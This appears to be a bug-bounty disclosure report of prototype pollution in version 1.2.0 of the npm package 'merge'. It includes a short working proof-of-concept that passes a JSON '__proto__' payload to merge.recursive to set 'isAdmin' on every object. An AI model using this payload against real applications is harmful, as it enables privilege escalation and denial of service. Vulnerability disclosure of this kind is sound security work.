I would like to report prototype pollution in merge.
It allows an attacker to inject properties on Object.prototype.
module name: mergeversion:1.2.0npm page: https://www.npmjs.com/package/merge
Merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.
1,822,662 downloads in the last week
This is a variant of this vulnerability:
https://hackerone.com/reports/310443
The merge.recursive
function can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
Craft an object of form {__proto__: {...}}
and send it to merge.recursive
.
let merge = require('merge');
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge.recursive({}, payload);
console.log({}.isAdmin); // true
Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443